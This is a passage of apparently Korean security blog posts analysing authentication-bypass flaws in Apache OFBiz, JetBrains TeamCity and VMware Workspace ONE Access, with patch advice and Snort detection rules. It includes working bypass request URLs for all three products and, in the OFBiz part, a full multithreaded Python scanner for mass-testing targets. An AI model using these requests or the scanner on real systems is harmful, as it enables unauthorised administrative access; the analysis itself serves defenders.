더 이상 사용 및 유지되지 않는 Apache XML-RPC 구성요소가 포함되어 있어 발생 [4][5]
사용하지 않는 XML-RPC 관련 코드를 제거하여 패치 제공 [6]
- PoC: /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y [7]
- 영향받는 버전: Apache OFBIz 18.12.10 이전 버전

 

2.1 취약점 상세

- LoginWorker.java 파일의 requirePasswordChange 매개변수에 의해 발생 [8][9]

> 매개변수 USERNAME, PASSWARD는 공백 또는 임의의값requirePasswordChange는 Y로 설정하여 요청 전송

 

2.1.1 케이스 ①

- USERNAME 및 PASSWARD는 공백, requirePasswordChange는 Y로 설정한 경우

※ Java에서 공백(빈값으로 초기화되어 메모리 할당)과 Null(초기화되지 않은 상태)은 서로 다른 값

Target_URL/webtools/control/ping?USERNAME=&PASSWORD=&requirePasswordChange=Y

 

- login 함수(LoginWorker.java 파일 #437 ~ #448)는 requirePasswordChange 값을 반환 [10]

List<String> unpwErrMsgList = new LinkedList<String>();
if (UtilValidate.isEmpty(username)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, “loginevents.username_was_empty_reenter”, UtilHttp.getLocale(request)));
}
if (UtilValidate.isEmpty(password) && UtilValidate.isEmpty(token)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, “loginevents.password_was_empty_reenter”, UtilHttp.getLocale(request)));
}
boolean requirePasswordChange = “Y”.equals(request.getParameter(“requirePasswordChange”));
if (!unpwErrMsgList.isEmpty()) {
request.setAttribute(“_ERROR_MESSAGE_LIST_”, unpwErrMsgList);
return requirePasswordChange ? “requirePasswordChange” : “error”;
}

 

- 그 후, login 함수의 반환 값이 checkLogin 함수(LoginWorker.java 파일 #343 ~ #346) 에 전달

> 결과적으로 "success"를 반환하여 인증을 우회 [11]

if (userLogin == null) {
// check parameters
username = request.getParameter(“USERNAME”);
password = request.getParameter(“PASSWORD”);
token = request.getParameter(“TOKEN”);
// check session attributes
if (username == null) username = (String) session.getAttribute(“USERNAME”);
if (password == null) password = (String) session.getAttribute(“PASSWORD”);
if (token == null) token = (String) session.getAttribute(“TOKEN”);
if (username == null || (password == null && token == null) || “error”.equals(login(request, response))) {

 

2.1.2 케이스 ②

- USERNAME 및 PASSWARD는 임의의 값, requirePasswordChange는 Y로 설정한 경우

Target_URL/webtools/control/ping?USERNAME=test&PASSWORD=test&requirePasswordChange=Y

 

- login 함수(LoginWorker.java 파일 #601 ~ #605)는 requirePasswordChange 값을 반환 [12]

> 결과적으로 "success"를 반환하여 인증을 우회

} else {
Map<String, String> messageMap = UtilMisc.toMap(“errorMessage”, (String) result.get(ModelService.ERROR_MESSAGE));
String errMsg = UtilProperties.getMessage(resourceWebapp, “loginevents.following_error_occurred_during_login”, messageMap, UtilHttp.getLocale(request));
request.setAttribute(“_ERROR_MESSAGE_”, errMsg);
return requirePasswordChange ? “requirePasswordChange” : “error”;
}

 

2.2 PoC [13]

- 대상 URL 취약점에 영향받는지 확인하는 스캐너
> 매개변수를 USERNAME, PASSWORD, requirePasswordChange 조작하여 요청 전송

import os
import argparse
import requests
import concurrent.futures

from threading import Lock
from rich.console import Console
from typing import List, Optional
from urllib.parse import urlparse
from alive_progress import alive_bar
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
console = Console()


class CVE_2023_51467:
    def __init__(self, urls: List[str], threads: int, output_file: str):
        self.urls = urls
        self.threads = threads
        self.output_file = output_file
        self.file_lock = Lock()

    def check_url(self, base_url: str) -> Optional[str]:
        parsed_url = urlparse(base_url)
        schemes = ["http", "https"] if not parsed_url.scheme else [parsed_url.scheme]
        for scheme in schemes:
            url = f"{scheme}://{parsed_url.netloc}{parsed_url.path}"
            if self.is_url_accessible(url):
                return url
        return None

    def is_url_accessible(self, url: str) -> bool:
        try:
            response = requests.head(url, verify=False, timeout=5, allow_redirects=True)
            return response.status_code < 500
        except requests.RequestException:
            return False

    def scan_url(self, base_url: str):
        target_url = self.check_url(base_url)

        if target_url:
            try:
                response = requests.get(
                    f"{target_url}/webtools/control/ping?USERNAME&PASSWORD=test&requirePasswordChange=Y",
                    verify=False,
                    timeout=10,
                    allow_redirects=True,
                )

                if response.status_code == 200 and "PONG" in response.text:
                    console.log(
                        f"Vulnerable URL found: {base_url}, Response: {response.text.strip()}"
                    )
                    vulnerable_url = f"{urlparse(target_url).scheme}://{urlparse(target_url).netloc}\n"
                    with self.file_lock:
                        with open(self.output_file, "a") as file:
                            file.write(vulnerable_url)
            except Exception as e:
                console.log(f"Error scanning {base_url}: {e}")

    def run(self):
        with alive_bar(len(self.urls), enrich_print=False) as bar:
            with concurrent.futures.ThreadPoolExecutor(
                max_workers=self.threads
            ) as executor:
                future_to_url = {
                    executor.submit(self.scan_url, url): url for url in self.urls
                }
                for _ in concurrent.futures.as_completed(future_to_url):
                    bar()


def main():
    script_name = os.path.basename(__file__)
    parser = argparse.ArgumentParser(
        description="CVE-2023-51467 Scanner: Scans URLs for a specific vulnerability associated with CVE-2023-51467.",
        epilog=f"Example usage:\n"
        f"    python {script_name} -u http://example.com\n"
        f"    python {script_name} -f urls.txt -o output.txt -t 50",
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument("-u", "--url", help="Single URL to send GET request to")
    parser.add_argument(
        "-f", "--file", help="File containing list of base URLs to scan"
    )
    parser.add_argument(
        "-o",
        "--output",
        default="output.txt",
        help="File to write vulnerable systems to",
    )
    parser.add_argument(
        "-t",
        "--threads",
        type=int,
        default=10,
        help="Number of concurrent threads to use",
    )
    args = parser.parse_args()

    urls = []
    if args.file:
        with open(args.file, "r") as file:
            urls = [line.strip() for line in file]
    elif args.url:
        urls.append(args.url)
    else:
        console.log("No URL or file provided")
        return

    scanner = CVE_2023_51467(urls, args.threads, args.output)
    scanner.run()


if __name__ == "__main__":
    main()

 

3. 대응방안

- 벤더사 제공 업데이트 적용 [14]

> login 함수에 requirePasswordChange 값 대신 Error Message를 출력하도록 변경

> checkLogin 함수에 UtilValidate.isEmpty() 함수를 추가해 빈 값 여부 확인

제품명 영향받는 버전 해결 버전
Apache OFBiz 18.12.11 이전 버전 18.12.11

 

- 탐지 정책 적용 등 모니터링 수행

alert tcp any any -> any any (msg:"CVE-2023-51467 Apache OFBiz"; flow:to_server,established; content:"GET"; http_method; content:"/webtools/control/"; http_uri; content:"USERNAME="; http_uri; content:"&PASSWORD="; http_uri; content:"&requirePasswordChange=Y"; http_uri; rev:1;)

 

4. 참고

[1] https://ofbiz.apache.org/index.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-51467
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-49070
[4] https://issues.apache.org/jira/plugins/servlet/mobile#issue/OFBIZ-12812
[5] https://github.com/advisories/GHSA-6vwp-35w3-xph8
[6] https://github.com/apache/ofbiz-framework/commit/c59336f604
[7] https://twitter.com/Siebene7/status/1731870759130427726
[8] https://blog.sonicwall.com/en-us/2023/12/sonicwall-discovers-critical-apache-ofbiz-zero-day-authbiz/
[9] https://github.com/apache/ofbiz-framework/blob/c59336f604f503df5b2f7c424fd5e392d5923a27/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java
[10] https://github.com/apache/ofbiz-framework/blob/c59336f604f503df5b2f7c424fd5e392d5923a27/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java#L391C5-L607C6
[11] https://github.com/apache/ofbiz-framework/blob/c59336f604f503df5b2f7c424fd5e392d5923a27/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java#L323C5-L381C6
[12] https://github.com/apache/ofbiz-framework/blob/c59336f604f503df5b2f7c424fd5e392d5923a27/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java#L601C11-L605C78
[13] https://github.com/Chocapikk/CVE-2023-51467
[14] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71272&menuNo=205020
[15] https://www.boannews.com/media/view.asp?idx=125343&page=1&kind=1

1. TeamCity

- JetBrains社에서 개발한 CI/CD(Continuous Integration/Continuous Delivery)

 

1.1 CI/CD (Continuous Integration/Continuous Delivery) [1][2]

- 소프트웨어 제공을 위한 일반적인 과정을(빌드(Build)-테스트(Test)-릴리스(Release)-배포(Deploy)) 자동화한 것

애플리케이션 개발 단계부터 배포까지 모든 단계를 자동화하여 효율적이고 빠르게 사용자에게 배포할 수 있음

 

1.1.1 CI (Continuous Integration, 지속적 통합)

- 빌드/테스트 자동화 과정

- 코드 변경 사항이 정기적으로 빌드 및 테스트되어 공유 리포지토리에 통합

커밋할 때마다 빌드와 일련의 자동 테스트가 이루어져 동작을 확인하고 변경으로 인한 문제가 없도록 보장

> 여러 명의 개발자가 동시에 코드 작업을 할 경우 발생할 수 있는 충돌 문제와 시간이 오래걸리는 문제를 해결

> 소스/버전 관리 시스템에 대한 변경 사항을 정기적으로 커밋하여 모든 사람들에게 동일 작업 기반을 제공

 

1.1.2 CD (Continuous Delivery, 지속적 제공)

- 배포 자동화 과정

- Continuous Deployment(지속적인 배포)를 의미하기도 하며, 두 용어는 상호 교환적으로 사용

파이프라인의 이전 단계(CI 단계)를 모두 성공적으로 통과하면 수동 개입 없이 자동으로 배포

> 품질 저하 없이 최대한 빨리 사용자에게 새로운 기능을 제공할 수 있음

 

[사진 1] CI/CD

2. 취약점

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2023-42793 [2]

- JetBrains TeamCity 2023.05.4 이전 버전에서 발생하는 인증 우회 취약점

> 인증 우회 후 원격 명령을 실행할 수 있게됨

- 다이아몬드슬릿(Diamond Sleet)과 오닉스슬릿(Onyx Sleet)으로 불리는 북한 APT 조직들이 활발히 익스플로잇 하는 것으로 조사

> 취약점을 악용해 백도어와 멀웨어를 피해자 시스템에 유포해 모니터링, 정보 탈취 등 악성 행위 수행

※ 다이아몬드슬릿: 전 세계 IT, 미디어, 국방 분야 공략
※ 오닉스플릿: 미국, 한국, 인도의 IT, 국방 분야 공략

영향받는 버전
- JetBrains TeamCity 2023.05.4 이전 버전
※ TeamCity 버전은 로그인 페이지 하단에 표시되어, 공격자들은 손 쉽게 버전을 확인할 수 있음

 

2.1 취약점 상세 [4][5]

- TeamCity는 외부 응용 프로그램을 통합하기 위한 REST API를 제공

> /app/rest/users/<userLocator>/tokens 경로를 통해 사용자 인증 토큰을 생성

> {name} 매개변수를 통해 토큰에 대한 이름을 추가로 생성할 수 있음

 

[사진 3] 사용자 인증 토큰 생성

 

- TeamCity는 요청 인터셉터(RequestInterceptors 클래스)를 사용해 모든 HTTP 요청에 대해 특정 작업을 수행

> 특정 작업 중 하나가 권한 부여 매커니즘

 

- 요청이 발생하면 해당 클래스의 preHandle 메서드가 호출

> preHandle 메서드requestPreHandlingAllowed를 호출요청이 사전 처리에 적합한지 여부를 결정

 

[사진 4] preHandle

 

- requestPreHandlingAllowed 메서드요청된 경로가 사전 정의된 경로 목록과 일치 여부 확인

 

[사진 5] requestPreHandlingAllowed

 

- RequestInterceptors 클래스에는 두 개의 사전 정의된 표현식이 존재

① /**/RPC2

② /app/agents/**

 

[사진 6] 사전 정의된 경로 표현식

 

- 공격자는 경로 "/**/RPC2"를 만족하는 요청을 전송할 경우 인증을 우회할 수 있게됨 [6]

> [사진 3]에 의해 /app/rest/users/<userLocator>/tokens/{name}의 형태로 요청

> <userLocator>은 인증 토큰으로, 사용자마다 고유한 값을 가지는 것으로 판단됨 (ex. admin 계정의 경우 id:1)

> [사진 4] ~ [사진 6]에 의해 {name} 매개변수의 값으로 RPC2 지정

> 공격자의 요청은 /app/rest/users/id:1/tokens/RPC2 형태로, 서버는 관리자 권한을 지닌 새로 생성된 토큰을 반환

> 공격자는 반환된 토큰을 이용해 새로운 관리자 계정을 생성하는 등 추가 익스플로잇이 가능해짐

※ [사진 4]의 requestPreHandlingAllowed 메서드가 false를 반환하며, ! 연산에 의해 true가 되어 if 문을 만족해 이후 권한 부여 등 인증 과정을 우회할 수 있게됨

 

[사진 7] 과정 요약

 

- 취약점 시연 영상 [6]

 

[영상 1] 취약점 시연 동영상

 

3. 대응방안

① 최신 버전 업데이트 적용 [7]

> 23.09.18 취약점을 수정을 포함한 2023.05.04 버전 배포

> 사전 정의된 요청 경로 중 /**/RPC2를 제거

제품명 영향받는 버전 해결 버전
JetBrains TeamCity 2023.05.04 이전 버전 2023.05.04 

 

[사진 8] 수정 내역

 

4. 참고

[1] https://seosh817.tistory.com/104
[2] https://jud00.tistory.com/entry/CICD%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%BC%EA%B9%8C
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-42793
[4] https://www.sonarsource.com/blog/teamcity-vulnerability/#indicators-of-compromise
[5] https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis
[6] https://www.youtube.com/watch?v=O2p-6I8RK5c
[7] https://blog.jetbrains.com/teamcity/2023/09/cve-2023-42793-vulnerability-post-mortem/
[8] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71212
[9] https://www.boannews.com/media/view.asp?idx=122862&page=1&kind=1

1. VMware 

- 클라우드 컴퓨팅 및 가상화 소프트웨어를 판매하는 기업

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-31656

- VM 제품군의 UI에 네트워크 액세스 권한이 있는 공격자가 인증 없이 관리자 권한을 얻을 수 있는 취약점 (CVSS 9.8)

영향받는 버전
- VMware Workspace ONE Access 21.08.0.0
- VMware Workspace ONE Access 21.08.0.1
- VMware Workspace ONE Access Connector 22.05
- VMware Workspace ONE Access Connector 21.08.0.0
- VMware Workspace ONE Access Connector 21.08.0.1

- VMware Identity Manager 3.3.4 ~ 3.3.6
- VMware Identity Manager Connector 3.3.4 ~ 3.3.6
- VMware Identity Manager Connector 19.03.0.1

- VMware vRealize Automation 8.x
- VMware vRealize Automation 7.6

- VMware Cloud Foundation (vIDM) 4.2.x, 4.3.x, 4.4.x
- VMware Cloud Foundation (vRA) 3.x

- vRealize Suite Lifecycle Manager (vIDM) 8.x

 

2.1 분석

- VMware 제품의 JAVA 웹에는 다양한 필터 계층이 존재함

- 그 중 UrlRewriteFilter 계층사전 정의된 규칙을 기반으로 내부 서블릿에 요청을 매핑하는 역할을 수행(WEB-INF/urlrewrite.xml)

 

- 아래 [사진 2]에서 처럼 요청 중 정규식 "^/t/([^/])($|/)(((?!META-INF| WEB-INF).))$"에 일치하는 경로가 "/$3" 에 매핑됨.

※ WEB-INF 및 META-INF 폴더의 파일에 접근 가능한 CVE-2021-26085, CVE-2021-26086 취약점과 유사

- 정규식에의해 "/SAAS/t/_/;/WEB-INF/web.xml" 와 같이 요청하면 "/WEB-INF/web.xml"에 매핑됨

[사진 2] UrlRewriteFilter 규칙 및 매핑

 

- 이후 UrlRewrite.NormalRewrittenUrl.doRewrite() > getRequestDispatcher() 순으로 호출

- getRequestDispatcher()는 한 서블릿에서 다른 서블릿으로 요청을 포워드하는 기능을 제공

- 정규식에 의해 매핑된 /WEB-INF/web.xml를 인자로 사용하여 해당 자원에 액세스가 가능해짐

※ [사진 3]에서 CVE-2022-22972(VMware 인증 우회 취약점)에 대해 적용된 패치

[사진 3] 동작과정 정리

 

- 공격자들을 /SAAS/t/_/;/auth/login/embeddedauthbroker/callback URL로 요청하여 Exploit 수행

[사진 4] PoC 화면

3. 대응방안

3.1 서버측면

① 벤더사에서 제공하는 패치 적용

 

VMware Knowledge Base

 

kb.vmware.com

 

3.2 네트워크 측면

① 취약점을 이용한 공격 시도를 탐지할 수 있는 정책 적용

- /SAAS/t/_/;/

alert tcp any any -> any any (msg:"VMware Auth Bypass Detected (CVE-2022–31656)"; content:"POST /SAAS/t/_/;/"; depth:17;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2022-31656

https://kb.vmware.com/s/article/89096

https://www.vmware.com/security/advisories/VMSA-2022-0021.html

- https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd

- https://research.kudelskisecurity.com/2022/08/10/critical-vmware-authentication-bypass-and-rce-vulnerabilities-cve-2022-31656-and-cve-2022-31659/

- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66856&queryString=cGFnZT0yJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PXRpdGxlX25hbWUmc2VhcmNoX3dvcmQ9 

+ Recent posts